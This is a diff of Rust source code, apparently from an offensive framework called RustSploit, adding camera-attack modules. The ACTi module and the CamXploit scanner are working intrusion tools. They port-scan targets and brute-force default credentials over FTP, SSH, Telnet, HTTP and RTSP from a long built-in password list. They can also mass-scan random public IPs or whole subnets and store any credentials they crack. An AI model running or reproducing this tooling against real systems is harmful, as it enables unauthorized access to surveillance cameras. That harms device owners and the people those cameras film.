}],
is_error: None,
}
}
/// Serialize any `Serialize` value into pretty-printed JSON text.
pub fn json(v: &impl Serialize) -> Self {
let text = serde_json::to_string_pretty(v).unwrap_or_else(|e| format!("{{\"error\": \"{}\"}}", e));
Self {
content: vec![ToolContent {
content_type: "text".to_string(),
text,
}],
is_error: None,
}
}
/// Error result — sets `isError` to `true`.
pub fn error(msg: String) -> Self {
Self {
content: vec![ToolContent {
content_type: "text".to_string(),
text: msg,
}],
is_error: Some(true),
}
}
}
// ---------------------------------------------------------------------------
// Resources
// ---------------------------------------------------------------------------
/// Descriptor returned by `resources/list`.
#[derive(Serialize, Clone)]
pub struct Resource {
pub uri: String,
pub name: String,
pub description: String,
#[serde(rename = "mimeType")]
pub mime_type: String,
}
/// Content payload returned by `resources/read`.
#[derive(Serialize)]
pub struct ResourceContent {
pub uri: String,
#[serde(rename = "mimeType")]
pub mime_type: String,
pub text: String,
}
+101
View File
@@ -0,0 +1,101 @@
use colored::*;
use serde::{Deserialize, Serialize};
/// Module metadata — returned by optional `pub fn info() -> ModuleInfo` in modules.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct ModuleInfo {
pub name: String,
pub description: String,
pub authors: Vec<String>,
/// CVE IDs, URLs, EDB references, etc.
pub references: Vec<String>,
/// ISO date string, e.g. "2024-01-15"
pub disclosure_date: Option<String>,
pub rank: ModuleRank,
}
/// Reliability/safety rank for modules (inspired by Metasploit ranking).
#[derive(Debug, Clone, Serialize, Deserialize)]
pub enum ModuleRank {
/// Reliable, no crash risk
Excellent,
/// Usually works
Great,
/// Default rank
Good,
/// May cause instability
Normal,
/// Rarely works
Low,
/// Requires manual steps
Manual,
}
impl std::fmt::Display for ModuleRank {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
match self {
ModuleRank::Excellent => write!(f, "Excellent"),
ModuleRank::Great => write!(f, "Great"),
ModuleRank::Good => write!(f, "Good"),
ModuleRank::Normal => write!(f, "Normal"),
ModuleRank::Low => write!(f, "Low"),
ModuleRank::Manual => write!(f, "Manual"),
}
}
}
/// Result of a non-destructive vulnerability check.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub enum CheckResult {
Vulnerable(String),
NotVulnerable(String),
Unknown(String),
Error(String),
}
impl std::fmt::Display for CheckResult {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
match self {
CheckResult::Vulnerable(msg) => write!(f, "Vulnerable: {}", msg),
CheckResult::NotVulnerable(msg) => write!(f, "Not Vulnerable: {}", msg),
CheckResult::Unknown(msg) => write!(f, "Unknown: {}", msg),
CheckResult::Error(msg) => write!(f, "Error: {}", msg),
}
}
}
/// Pretty-print module info to the console.
pub fn display_module_info(module_path: &str, info: &ModuleInfo) {
println!();
println!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ Module Information ║".cyan());
println!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan());
println!();
println!(" {:<16} {}", "Path:".bold(), module_path);
println!(" {:<16} {}", "Name:".bold(), info.name);
println!(" {:<16} {}", "Rank:".bold(), format!("{}", info.rank).green());
if let Some(ref date) = info.disclosure_date {
println!(" {:<16} {}", "Disclosed:".bold(), date);
}
println!();
println!(" {}", "Description:".bold());
for line in info.description.lines() {
println!(" {}", line);
}
println!();
if !info.authors.is_empty() {
println!(" {}", "Authors:".bold());
for author in &info.authors {
println!(" - {}", author);
}
println!();
}
if !info.references.is_empty() {
println!(" {}", "References:".bold());
for reference in &info.references {
println!(" - {}", reference);
}
println!();
}
}
@@ -1,15 +1,26 @@
use anyhow::{Context, Result};
use async_ftp::FtpStream;
use reqwest::Client;
use suppaftp::tokio::AsyncFtpStream;
use colored::*;
use ssh2::Session;
use telnet::{Telnet, Event};
use std::{net::TcpStream, time::Duration};
use tokio::{join, task};
use crate::utils::url_encode;
use crate::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
const DEFAULT_TIMEOUT_SECS: u64 = 10;
fn display_banner() {
if crate::utils::is_batch_mode() { return; }
crate::mprintln!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
crate::mprintln!("{}", "║ ACTi Camera Default Credentials Checker ║".cyan());
crate::mprintln!("{}", "║ Multi-Protocol Scanner (FTP/SSH/Telnet/HTTP) ║".cyan());
crate::mprintln!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
crate::mprintln!();
}
#[allow(dead_code)]
/// Supported Acti services
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum ServiceType {
Ftp,
Ssh,
@@ -17,6 +28,17 @@ pub enum ServiceType {
Http,
}
impl ServiceType {
fn as_str(&self) -> &'static str {
match self {
ServiceType::Ftp => "FTP",
ServiceType::Ssh => "SSH",
ServiceType::Telnet => "Telnet",
ServiceType::Http => "HTTP",
}
}
}
/// Common config
#[derive(Clone)]
pub struct Config {
@@ -38,22 +60,27 @@ fn normalize_target(target: &str, port: u16) -> String {
}
/// FTP check (async)
pub async fn check_ftp(config: &Config) -> Result<()> {
println!("[*] Checking FTP credentials on {}:{}", config.target, config.port);
pub async fn check_ftp(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
crate::mprintln!("{}", format!("[*] Checking FTP credentials on {}:{}", config.target, config.port).cyan());
for (username, password) in &config.credentials {
if config.verbosity {
println!("[*] Trying FTP: {}:{}", username, password);
crate::mprintln!("{}", format!("[*] Trying FTP: {}:{}", username, password).dimmed());
}
let address = normalize_target(&config.target, config.port);
match FtpStream::connect(address).await {
match AsyncFtpStream::connect(address).await {
Ok(mut ftp) => {
if ftp.login(username, password).await.is_ok() {
println!("[+] FTP credentials valid: {}:{}", username, password);
crate::mprintln!("{}", format!("[+] FTP credentials valid: {}:{}", username, password).green().bold());
let _ = ftp.quit().await;
let result = Some((ServiceType::Ftp, username.to_string(), password.to_string()));
// Respect stop_on_success: if true, stop after first valid credential
if config.stop_on_success {
return Ok(());
return Ok(result);
}
// If false, continue checking but still return first found (for consistency)
return Ok(result);
}
let _ = ftp.quit().await;
}
@@ -61,45 +88,47 @@ pub async fn check_ftp(config: &Config) -> Result<()> {
}
}
println!("[-] No valid FTP credentials found on {}:{}", config.target, config.port);
Ok(())
crate::mprintln!("{}", format!("[-] No valid FTP credentials found on {}:{}", config.target, config.port).yellow());
Ok(None)
}
/// SSH check (blocking, so we use spawn_blocking)
pub fn check_ssh_blocking(config: &Config) -> Result<()> {
println!("[*] Checking SSH credentials on {}:{}", config.target, config.port);
pub fn check_ssh_blocking(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
crate::mprintln!("{}", format!("[*] Checking SSH credentials on {}:{}", config.target, config.port).cyan());
for (username, password) in &config.credentials {
if config.verbosity {
println!("[*] Trying SSH: {}:{}", username, password);
crate::mprintln!("{}", format!("[*] Trying SSH: {}:{}", username, password).dimmed());
}
let address = normalize_target(&config.target, config.port);
if let Ok(stream) = TcpStream::connect(address) {
let socket_addr: std::net::SocketAddr = match address.parse() {
Ok(sa) => sa,
Err(_) => continue,
};
if let Ok(stream) = TcpStream::connect_timeout(&socket_addr, Duration::from_secs(DEFAULT_TIMEOUT_SECS)) {
let mut session = Session::new().context("Failed to create SSH session")?;
session.set_tcp_stream(stream);
session.handshake().context("SSH handshake failed")?;
if session.userauth_password(username, password).is_ok() && session.authenticated() {
println!("[+] SSH credentials valid: {}:{}", username, password);
if config.stop_on_success {
return Ok(());
}
crate::mprintln!("{}", format!("[+] SSH credentials valid: {}:{}", username, password).green().bold());
return Ok(Some((ServiceType::Ssh, username.to_string(), password.to_string())));
}
}
}
println!("[-] No valid SSH credentials found on {}:{}", config.target, config.port);
Ok(())
crate::mprintln!("{}", format!("[-] No valid SSH credentials found on {}:{}", config.target, config.port).yellow());
Ok(None)
}
/// Telnet check (blocking)
pub fn check_telnet_blocking(config: &Config) -> Result<()> {
println!("[*] Checking Telnet credentials on {}:{}", config.target, config.port);
pub fn check_telnet_blocking(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
crate::mprintln!("{}", format!("[*] Checking Telnet credentials on {}:{}", config.target, config.port).cyan());
for (username, password) in &config.credentials {
if config.verbosity {
println!("[*] Trying Telnet: {}:{}", username, password);
crate::mprintln!("{}", format!("[*] Trying Telnet: {}:{}", username, password).dimmed());
}
let address = normalize_target(&config.target, config.port);
@@ -120,33 +149,28 @@ pub fn check_telnet_blocking(config: &Config) -> Result<()> {
if let Ok(Event::Data(buffer)) = telnet.read_timeout(Duration::from_millis(800)) {
let response = String::from_utf8_lossy(&buffer);
if !response.contains("incorrect") && !response.contains("failed") {
println!("[+] Telnet credentials valid: {}:{}", username, password);
if config.stop_on_success {
return Ok(());
}
crate::mprintln!("{}", format!("[+] Telnet credentials valid: {}:{}", username, password).green().bold());
return Ok(Some((ServiceType::Telnet, username.to_string(), password.to_string())));
}
}
}
}
println!("[-] No valid Telnet credentials found on {}:{}", config.target, config.port);
Ok(())
crate::mprintln!("{}", format!("[-] No valid Telnet credentials found on {}:{}", config.target, config.port).yellow());
Ok(None)
}
/// HTTP Web Login check (async)
pub async fn check_http_form(config: &Config) -> Result<()> {
println!("[*] Checking HTTP Web Form credentials on {}:{}", config.target, config.port);
pub async fn check_http_form(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
crate::mprintln!("{}", format!("[*] Checking HTTP Web Form credentials on {}:{}", config.target, config.port).cyan());
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(5))
.build()?;
let client = crate::utils::build_http_client(Duration::from_secs(DEFAULT_TIMEOUT_SECS))?;
let url = format!("http://{}:{}/video.htm", config.target.trim_matches(|c| c == '[' || c == ']'), config.port);
for (username, password) in &config.credentials {
if config.verbosity {
println!("[*] Trying HTTP: {}:{}", username, password);
crate::mprintln!("{}", format!("[*] Trying HTTP: {}:{}", username, password).dimmed());
}
let data = [
@@ -156,29 +180,84 @@ pub async fn check_http_form(config: &Config) -> Result<()> {
("btnSubmit", "Login"),
];
// Manual form construction
let mut body = String::new();
for (key, val) in &data {
if !body.is_empty() { body.push('&'); }
body.push_str(&format!("{}={}", key, url_encode(val)));
}
let res = client
.post(&url)
.form(&data)
.header("Content-Type", "application/x-www-form-urlencoded")
.body(body)
.send()
.await
.context("[!] Failed to send HTTP form request")?;
let body = res.text().await.unwrap_or_default();
let body = match res.text().await {
Ok(t) => t,
Err(_) => String::new(),
};
if !body.contains(">Password<") {
println!("[+] HTTP credentials valid: {}:{}", username, password);
if config.stop_on_success {
return Ok(());
}
crate::mprintln!("{}", format!("[+] HTTP credentials valid: {}:{}", username, password).green().bold());
return Ok(Some((ServiceType::Http, username.to_string(), password.to_string())));
}
}
println!("[-] No valid HTTP credentials found on {}:{}", config.target, config.port);
Ok(())
crate::mprintln!("{}", format!("[-] No valid HTTP credentials found on {}:{}", config.target, config.port).yellow());
Ok(None)
}
/// Entrypoint for module - parallel checks
pub async fn run(target: &str) -> Result<()> {
// Mass scan mode: random IPs, CIDR subnets, or target file
if is_mass_scan_target(target) {
return run_mass_scan(target, MassScanConfig {
protocol_name: "ACTi Camera",
default_port: 80,
state_file: "acti_camera_mass_state.log",
default_output: "acti_camera_mass_results.txt",
default_concurrency: 200,
}, |ip: std::net::IpAddr, port: u16| async move {
// Quick port check on HTTP
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(3)).await {
return None;
}
let target_str = ip.to_string();
let creds = vec![
("admin", "12345"),
("admin", "123456"),
("Admin", "12345"),
("Admin", "123456"),
];
// Try HTTP first (most likely for cameras)
let client = crate::utils::build_http_client(Duration::from_secs(5)).ok()?;
let url = format!("http://{}:{}/", target_str, port);
for (user, pass) in &creds {
let resp = client.get(&url)
.basic_auth(user, Some(pass))
.send()
.await
.ok()?;
if resp.status().is_success() || resp.status().as_u16() == 301 || resp.status().as_u16() == 302 {
let body = resp.text().await.unwrap_or_default();
if !body.contains("401") && !body.to_lowercase().contains("unauthorized") {
let msg = format!("{}:{}:HTTP:{}:{}", ip, port, user, pass);
crate::mprintln!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
return Some(format!("{}\n", msg));
}
}
}
None
}).await;
}
display_banner();
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
crate::mprintln!();
let creds = vec![
("admin", "12345"),
("admin", "123456"),
@@ -210,10 +289,56 @@ pub async fn run(target: &str) -> Result<()> {
check_http_form(&http_conf),
);
ftp_res?;
ssh_res?;
telnet_res?;
http_res?;
// Collect all successful results
let mut found_credentials = Vec::new();
if let Ok(Some((service, user, pass))) = ftp_res {
found_credentials.push((service, user, pass));
}
if let Ok(Some((service, user, pass))) = ssh_res {
found_credentials.push((service, user, pass));
}
if let Ok(Some((service, user, pass))) = telnet_res {
found_credentials.push((service, user, pass));
}
if let Ok(Some((service, user, pass))) = http_res {
found_credentials.push((service, user, pass));
}
// Print summary and store credentials
if !found_credentials.is_empty() {
crate::mprintln!();
crate::mprintln!("{}", "=== Summary ===".bold());
for (service, user, pass) in &found_credentials {
crate::mprintln!("{}", format!(" {}: {}:{}", service.as_str(), user, pass).green());
let (svc_port, svc_name) = match service.as_str() {
"FTP" => (21u16, "ftp"),
"SSH" => (22, "ssh"),
"Telnet" => (23, "telnet"),
"HTTP" => (80, "http"),
_ => (0, "unknown"),
};
let _ = crate::cred_store::store_credential(
target, svc_port, svc_name, user, pass,
crate::cred_store::CredType::Password,
"creds/camera/acti/acti_camera_default",
).await;
}
} else {
crate::mprintln!();
crate::mprintln!("{}", "[-] No valid credentials found on any service.".yellow());
}
Ok(())
}
pub fn info() -> crate::module_info::ModuleInfo {
crate::module_info::ModuleInfo {
name: "ACTi Camera Default Credentials".to_string(),
description: "Tests default credentials across FTP, SSH, Telnet, and HTTP on ACTi IP cameras.".to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![],
disclosure_date: None,
rank: crate::module_info::ModuleRank::Normal,
}
}
+882
View File
@@ -0,0 +1,882 @@
use anyhow::Result;
use colored::*;
use reqwest::Client;
use std::collections::{HashMap, HashSet};
use base64::prelude::*;
use crate::utils::{generate_random_public_ip, is_subnet_target, parse_subnet, subnet_host_count, EXCLUDED_RANGES};
use std::sync::atomic::{AtomicU64, Ordering};
use std::sync::Arc;
use std::time::{Duration, Instant};
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::sync::{Mutex, Semaphore};
use tokio::time::timeout;
// =================================================================================
// CONSTANTS & DATA
// =================================================================================
const PORT_SCAN_TIMEOUT: u64 = 2;
const TIMEOUT: u64 = 5;
// Ports to ignore when filtering scan results — hosts with ONLY these ports open
// are not cameras and should be skipped in mass scan mode
const IGNORED_SERVICE_PORTS: &[u16] = &[22, 23, 3389]; // SSH, Telnet, RDP
const COMMON_PORTS: &[u16] = &[
// Standard web ports
80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 443, 8080, 8443, 8000, 8001, 8008, 8081, 8082, 8083, 8084, 8085, 8086, 8087, 8088, 8089,
8090, 8091, 8092, 8093, 8094, 8095, 8096, 8097, 8098, 8099,
// RTSP ports
554, 8554, 10554, 1554, 2554, 3554, 4554, 5554, 6554, 7554, 9554,
// RTMP ports
1935, 1936, 1937, 1938, 1939,
// Custom camera ports
37777, 37778, 37779, 37780, 37781, 37782, 37783, 37784, 37785, 37786, 37787, 37788, 37789, 37790,
37791, 37792, 37793, 37794, 37795, 37796, 37797, 37798, 37799, 37800,
// ONVIF ports
3702, 3703, 3704, 3705, 3706, 3707, 3708, 3709, 3710,
// VLC streaming ports
8100, 8110, 8120, 8130, 8140, 8150, 8160, 8170, 8180, 8190,
// Common alternative ports
110, 143, 993, 995,
1024, 1025, 1026, 1027, 1028, 1029, 1030,
2000, 2001, 2002, 2003, 2004, 2005,
3000, 3001, 3002, 3003, 3004, 3005,
4000, 4001, 4002, 4003, 4004, 4005,
5000, 5001, 5002, 5003, 5004, 5005, 5006, 5007, 5008, 5009, 5010,
6000, 6001, 6002, 6003, 6004, 6005, 6006, 6007, 6008, 6009, 6010,
7000, 7001, 7002, 7003, 7004, 7005, 7006, 7007, 7008, 7009, 7010,
9000, 9001, 9002, 9003, 9004, 9005, 9006, 9007, 9008, 9009, 9010,
// Additional common ports
8888, 8889, 8890, 8891, 8892, 8893, 8894, 8895, 8896, 8897, 8898, 8899,
9999, 9998, 9997, 9996, 9995, 9994, 9993, 9992, 9991, 9990,
// MMS ports
1755, 1756, 1757, 1758, 1759, 1760,
// High ports
20000, 20001, 30000, 30001, 40000, 40001, 50000, 50001, 60000, 60001
];
const HTTPS_PORTS: &[u16] = &[443, 8443, 8444];
const COMMON_PATHS: &[&str] = &[
"/", "/admin", "/login", "/viewer", "/webadmin", "/video", "/stream", "/live", "/snapshot",
"/onvif-http/snapshot", "/system.ini", "/config", "/setup", "/cgi-bin/", "/api/",
"/camera", "/img/main.cgi", "/cgi-bin/admin/mjpeg.cgi", "/cgi-bin/snapshot.cgi",
"/videostream.cgi", "/axis-cgi/mjpg/video.cgi", "/video.cgi", "/image.jpg"
];
// Default credentials
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
("admin", "admin"),
("admin", "1234"),
("admin", "12345"),
("admin", "123456"),
("admin", "1234567"),
("admin", "12345678"),
("admin", "123456789"),
("admin", "admin123"),
("admin", "admin1234"),
("admin", "admin12345"),
("admin", "password"),
("admin", "pass"),
("admin", "123"),
("admin", "1111"),
("admin", "0000"),
("admin", "8888"),
("admin", "default"),
("admin", "admin@123"),
("admin", "Admin123"),
("admin", "Admin1234"),
("admin", "888888"),
("admin", "666666"),
("admin", "4321"),
("admin", "9999"),
("admin", ""),
("root", "root"),
("root", "toor"),
("root", "1234"),
("root", "12345"),
("root", "123456"),
("root", "pass"),
("root", "password"),
("root", "root123"),
("root", "admin"),
("root", "1111"),
("root", "0000"),
("root", ""),
("user", "user"),
("user", "user123"),
("user", "password"),
("user", "1234"),
("user", "12345"),
("user", "123456"),
("user", ""),
("guest", "guest"),
("guest", "guest123"),
("guest", "1234"),
("guest", "12345"),
("guest", "123456"),
("guest", ""),
("operator", "operator"),
("operator", "operator123"),
("operator", "1234"),
("operator", "12345"),
("administrator", "administrator"),
("administrator", "admin"),
("administrator", "1234"),
("administrator", "12345"),
("administrator", "123456"),
("administrator", "password"),
("supervisor", "supervisor"),
("supervisor", "1234"),
("supervisor", "12345"),
("supervisor", "123456"),
("supervisor", "password"),
("support", "support"),
("support", "support123"),
("support", "1234"),
("support", "password"),
("system", "system"),
("system", "system123"),
("system", "1234"),
("system", "12345"),
("system", "123456"),
("viewer", "viewer"),
("viewer", "viewer123"),
("viewer", "1234"),
("viewer", "12345"),
("admin1", "admin"),
("admin1", "admin1"),
("admin1", "1234"),
("admin1", "12345"),
("admin1", "123456"),
("admin1", "password"),
("888888", "888888"),
("888888", "123456"),
("888888", "000000"),
("666666", "666666"),
("666666", "123456"),
("666666", "000000"),
("", "admin"),
("", "12345"),
("", "123456"),
];
pub async fn run(target: &str) -> Result<()> {
if crate::utils::get_global_source_port().await.is_some() {
crate::mprintln!("{}", "[*] Note: source_port does not apply to HTTP connections.".dimmed());
}
let target = target.trim().to_string();
if !crate::utils::is_batch_mode() {
if !crate::utils::is_batch_mode() {
print_banner();
}
}
// Subnet handling — iterate over each IP in the CIDR
if is_subnet_target(&target) {
let network = parse_subnet(&target)?;
let count = subnet_host_count(&network);
crate::mprintln!("{}", format!("[*] Subnet {}{} hosts to scan sequentially", target, count).cyan());
for ip in network.iter() {
let ip_str = ip.to_string();
crate::mprintln!("\n{}", format!("[*] >>> Scanning host: {}", ip_str).cyan().bold());
if let Err(e) = Box::pin(run(&ip_str)).await {
crate::mprintln!("{}", format!("[!] Error on {}: {}", ip_str, e).yellow());
}
}
crate::mprintln!("\n{}", "[*] Subnet scan complete.".green().bold());
return Ok(());
}
if target == "0.0.0.0" || target == "0.0.0.0/0" {
return run_mass_scan().await;
}
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
// 1. Port Scan
crate::mprintln!("{}", format!("\n[*] Scanning {} ports...", COMMON_PORTS.len()).yellow());
let (open_ports, rtsp_ports) = check_ports(&target).await;
if open_ports.is_empty() {
crate::mprintln!("{}", "[-] No open camera ports found.".red());
crate::mprintln!("{}", "[!] Ensure the target is online and not behind a strict firewall.".yellow());
return Ok(());
}
crate::mprintln!("{}", format!("\n[+] Found {} open ports: {:?}", open_ports.len(), open_ports).green());
// 2. Camera Detection & Fingerprinting
let client = create_client()?;
let is_camera = check_if_camera(&target, &open_ports, &client).await;
if !is_camera {
crate::mprintln!("{}", "\n[-] Target does not appear to be a camera based on initial checks.".yellow());
crate::mprintln!("{}", "[*] Proceeding with additional checks...".cyan());
}
check_login_pages(&target, &open_ports, &client).await;
fingerprint_camera(&target, &open_ports, &client).await;
// 3. Credential Testing
test_default_passwords(&target, &open_ports, &rtsp_ports, &client).await;
// 4. Stream Detection
detect_live_streams(&target, &open_ports, &rtsp_ports, &client).await;
// 5. Additional Information
crate::mprintln!("{}", "\n[✅] Scan Completed!".green().bold());
Ok(())
}
fn print_banner() {
if crate::utils::is_batch_mode() { return; }
crate::mprintln_block!(
format!("{}", "\n╔══════════════════════════════════════════════════════════════╗".green().bold()),
format!("{}", "║ 💀 CamXploit Rust Port - Camera Exploitation Scanner ║".green().bold()),
format!("{}", "║ 🔍 Discover open CCTV cameras & security flaws ║".cyan().bold()),
format!("{}", "║ ⚠️ For educational & security research purposes only! ║".yellow().bold()),
format!("{}", "╚══════════════════════════════════════════════════════════════╝".green().bold())
);
}
fn create_client() -> Result<Client> {
Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(TIMEOUT))
.user_agent("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36")
.build()
.map_err(|e| anyhow::anyhow!(e))
}
fn get_protocol(port: u16) -> &'static str {
if HTTPS_PORTS.contains(&port) { "https" } else { "http" }
}
fn get_port_service_map() -> HashMap<u16, (&'static str, &'static str)> {
let mut map = HashMap::new();
// Web ports
map.insert(80, ("HTTP", " - Standard Web"));
map.insert(443, ("HTTPS", " - Secure Web"));
map.insert(8080, ("HTTP-Alt", " - Alternative HTTP"));
map.insert(8443, ("HTTPS-Alt", " - Alternative HTTPS"));
map.insert(8000, ("HTTP-Alt", ""));
// RTSP ports
map.insert(554, ("RTSP", " - Real Time Streaming Protocol"));
map.insert(8554, ("RTSP-Alt", " - Alternative RTSP"));
// RTMP ports
map.insert(1935, ("RTMP", " - Real Time Messaging Protocol"));
// Custom camera ports
map.insert(37777, ("DVR", " - Common DVR/NVR Port"));
// ONVIF
map.insert(3702, ("ONVIF", " - Camera Discovery"));
map
}
// =================================================================================
// PORT SCANNING
// =================================================================================
async fn check_ports(target: &str) -> (Vec<u16>, Vec<u16>) {
let mut open_ports = Vec::new();
let mut rtsp_ports = Vec::new();
let semaphore = Arc::new(Semaphore::new(100)); // Concurrency limit
let mut tasks = Vec::new();
let target_arc = Arc::new(target.to_string());
// Deduplicate ports
let unique_ports: HashSet<u16> = COMMON_PORTS.iter().cloned().collect();
let port_map = get_port_service_map();
for port in unique_ports {
let t = target_arc.clone();
let sem = semaphore.clone();
tasks.push(tokio::spawn(async move {
let _permit = match sem.acquire().await {
Ok(p) => p,
Err(_) => return None,
};
let addr = format!("{}:{}", t, port);
// Basic TCP Connect
if timeout(Duration::from_secs(PORT_SCAN_TIMEOUT), TcpStream::connect(&addr)).await.is_ok() {
// If open, probe for RTSP
let is_rtsp = probe_rtsp(&t, port).await;
return Some((port, is_rtsp));
}
None
}));
}
for task in tasks {
if let Ok(Some((port, is_rtsp))) = task.await {
open_ports.push(port);
if is_rtsp {
rtsp_ports.push(port);
}
// Logging
let (svc_name, svc_desc) = port_map.get(&port).unwrap_or(&("Unknown", ""));
let rtsp_tag = if is_rtsp { " [RTSP DETECTED]".bright_green() } else { "".normal() };
crate::mprintln!(" ✅ [OPEN] {}/tcp {}{}{}", port, svc_name, svc_desc, rtsp_tag);
}
}
open_ports.sort();
rtsp_ports.sort();
(open_ports, rtsp_ports)
}
async fn probe_rtsp(target: &str, port: u16) -> bool {
// Sends a minimal RTSP OPTIONS request
let addr = format!("{}:{}", target, port);
if let Ok(Ok(mut stream)) = timeout(Duration::from_secs(PORT_SCAN_TIMEOUT), TcpStream::connect(&addr)).await {
let request = format!(
"OPTIONS rtsp://{}:{}/ RTSP/1.0\r\nCSeq: 1\r\n\r\n",
target, port
);
if stream.write_all(request.as_bytes()).await.is_err() { return false; }
let mut buffer = [0u8; 2048];
if let Ok(Ok(n)) = timeout(Duration::from_secs(PORT_SCAN_TIMEOUT), stream.read(&mut buffer)).await {
if n > 0 {
let response = String::from_utf8_lossy(&buffer[..n]);
if response.contains("RTSP/1.0") || response.contains("Public:") || response.contains("Server:") {
return true;
}
}
}
}
false
}
// =================================================================================
// FINGERPRINTING
// =================================================================================
async fn check_if_camera(target: &str, open_ports: &[u16], client: &Client) -> bool {
crate::mprintln!("{}", "\n[📷] Analyzing Ports for Camera Indicators...".cyan());
let found = Arc::new(Mutex::new(false));
let mut tasks = Vec::new();
for &port in open_ports {
let t = target.to_string();
let c = client.clone();
let f = found.clone();
tasks.push(tokio::spawn(async move {
let protocol = get_protocol(port);
let url = format!("{}://{}:{}", protocol, t, port);
if let Ok(resp) = c.get(&url).send().await {
let headers = format!("{:?}", resp.headers()).to_lowercase();
let status = resp.status();
let body = resp.text().await.unwrap_or_default().to_lowercase();
let mut indicators = false;
// Server header indicators
if headers.contains("hikvision") || headers.contains("dahua") || headers.contains("axis") ||
headers.contains("camera") || headers.contains("dvr") || headers.contains("nvr") ||
headers.contains("ipcam") || headers.contains("webcam") {
crate::mprintln!(" ✅ Camera Server Header detected on port {}", port);
indicators = true;
}
// Body indicators
if body.contains("cp plus") || body.contains("cpplus") || body.contains("uvr") {
crate::mprintln!(" ✅ CP Plus indicator on port {}", port);
indicators = true;
}
if body.contains("webcam") || body.contains("surveillance") || body.contains("snapshot") ||
body.contains("ipcam") || body.contains("netcam") {
crate::mprintln!(" ✅ Camera keyword in body on port {}", port);
indicators = true;
}
// Auth requirement check
if status == reqwest::StatusCode::UNAUTHORIZED {
crate::mprintln!(" ✅ Authentication required on port {} (potential camera)", port);
indicators = true;
}
if indicators {
let mut lock = f.lock().await;
*lock = true;
}
}
}));
}
for task in tasks {
let _ = task.await;
}
let result = *found.lock().await;
result
}
async fn check_login_pages(target: &str, open_ports: &[u16], client: &Client) {
crate::mprintln!("{}", "\n[🔍] Checking for authentication pages...".cyan());
let mut found_count = 0;
for &port in open_ports {
let protocol = get_protocol(port);
for path in COMMON_PATHS {
let url = format!("{}://{}:{}{}", protocol, target, port, path);
if let Ok(resp) = client.head(&url).send().await {
let status = resp.status();
if status.is_success() || status == reqwest::StatusCode::UNAUTHORIZED ||
status == reqwest::StatusCode::FORBIDDEN {
crate::mprintln!(" ✅ Found: {} (Status: {})", url, status);
found_count += 1;
}
}
}
}
if found_count == 0 {
crate::mprintln!(" {} No common login pages found", "[-]".yellow());
}
}
async fn fingerprint_camera(target: &str, open_ports: &[u16], client: &Client) {
crate::mprintln!("{}", "\n[📡] Fingerprinting Camera Type & Firmware...".cyan());
let mut found_brand = false;
for &port in open_ports {
let protocol = get_protocol(port);
let url = format!("{}://{}:{}", protocol, target, port);
if let Ok(resp) = client.get(&url).send().await {
let headers = format!("{:?}", resp.headers()).to_lowercase();
let body = resp.text().await.unwrap_or_default().to_lowercase();
if headers.contains("hikvision") || body.contains("hikvision") {
crate::mprintln!("🔥 {} on port {}!", "Hikvision Camera Detected".bright_red().bold(), port);
found_brand = true;
} else if headers.contains("dahua") || body.contains("dahua") {
crate::mprintln!("🔥 {} on port {}!", "Dahua Camera Detected".bright_red().bold(), port);
found_brand = true;
} else if headers.contains("axis") || body.contains("axis") {
crate::mprintln!("🔥 {} on port {}!", "Axis Camera Detected".bright_red().bold(), port);
found_brand = true;
} else if body.contains("cp plus") || body.contains("cpplus") {
crate::mprintln!("🔥 {} on port {}!", "CP Plus Camera Detected".bright_red().bold(), port);
found_brand = true;
} else if body.contains("foscam") || headers.contains("foscam") {
crate::mprintln!("🔥 {} on port {}!", "Foscam Camera Detected".bright_red().bold(), port);
found_brand = true;
} else if body.contains("vivotek") || headers.contains("vivotek") {
crate::mprintln!("🔥 {} on port {}!", "Vivotek Camera Detected".bright_red().bold(), port);
found_brand = true;
}
}
}
if !found_brand {
crate::mprintln!(" {} Could not identify specific camera brand", "[-]".yellow());
}
}
// =================================================================================
// CREDENTIALS
// =================================================================================
async fn test_default_passwords(target: &str, open_ports: &[u16], rtsp_ports: &[u16], client: &Client) {
crate::mprintln!("{}", "\n[🔑] Testing common credentials...".cyan());
crate::mprintln!("{}", "[️] Prioritizing RTSP ports and Web ports with authentication.".yellow());
let all_creds_vec = get_default_credentials();
let all_creds = all_creds_vec.as_slice();
let mut priority_creds = Vec::new();
// Top priority credentials
priority_creds.push(("admin", "admin"));
priority_creds.push(("admin", "12345"));
priority_creds.push(("admin", "123456"));
priority_creds.push(("admin", ""));
priority_creds.push(("root", "root"));
priority_creds.push(("root", "12345"));
priority_creds.push(("", "admin"));
// Test RTSP ports first
if !rtsp_ports.is_empty() {
crate::mprintln!("{}", "\n[🎯] Testing RTSP Authentication...".cyan());
for &port in rtsp_ports {
for &(user, pass) in &priority_creds {
if test_rtsp_auth(target, port, user, pass).await {
crate::mprintln!("🔥 {} RTSP {}:{} @ rtsp://{}:{}/",
"SUCCESS!".bright_green().bold(),
user,
if pass.is_empty() { "<empty>" } else { pass },
target,
port
);
let _ = crate::cred_store::store_credential(
target, port, "rtsp", user, pass,
crate::cred_store::CredType::Password,
